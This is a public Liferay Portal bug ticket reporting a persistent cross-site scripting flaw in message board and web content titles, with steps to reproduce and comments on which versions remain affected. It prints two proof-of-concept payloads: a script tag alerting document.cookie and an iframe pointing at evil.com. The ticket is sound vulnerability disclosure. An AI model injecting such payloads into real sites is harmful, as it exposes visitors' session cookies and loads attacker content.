PUBLIC - Liferay Portal Community Edition

Persistent Cross-site Scripting (XSS) on Message Board

Details

  • Similar Issues:
    Show 3 results 

Description

During a penetration testing of a Liferay portal, I have found a persistent XSS vulnerability.
With my user I was allowed to create message board with the title:
1 - "><script>alert(document.cookie)</script>
2 - "><iframe src="http://evil.com/"/>

This issue could affect every user who is going to see the message board.

Activity

Ascending order - Click to sort in descending order
Hide
Permalink
Grace Guan added a comment - - edited

After contact with the reporter,let me add some details for this ticket.
1、Go to -> Control Panel -> Web content
2、Add web content set following values:Title: "><script>alert(document.cookie)</script> or Title: "><iframe src="http://evil.com/"/>
3、Save

Show
Grace Guan added a comment - - edited After contact with the reporter,let me add some details for this ticket. 1、Go to -> Control Panel -> Web content 2、Add web content set following values:Title: "><script>alert(document.cookie)</script> or Title: "><iframe src="http://evil.com/"/> 3、Save
Hide
Permalink
Grace Guan added a comment -

It's no longer a problem in liferay-portal/master, but it's still a problem in liferay-portal-ee/6.1.x.

Show
Grace Guan added a comment - It's no longer a problem in liferay-portal/master, but it's still a problem in liferay-portal-ee/6.1.x.
Hide
Permalink
Samuel Kong added a comment -

Cannot reproduce.
Will create new ticket for web content issue

Show
Samuel Kong added a comment - Cannot reproduce. Will create new ticket for web content issue
Hide
Permalink
Ismael Gonçalves added a comment -

Hello Guys,

As I understood the vulnerability is solved on versions 6.2.x.
Is this going to the "Known vulnerabilities" board?

Show
Ismael Gonçalves added a comment - Hello Guys, As I understood the vulnerability is solved on versions 6.2.x. Is this going to the "Known vulnerabilities" board?

People

Vote (0)
Watch (2)

Dates

  • Created:
    Updated:
    Resolved:
    Days since last comment:
    11 weeks ago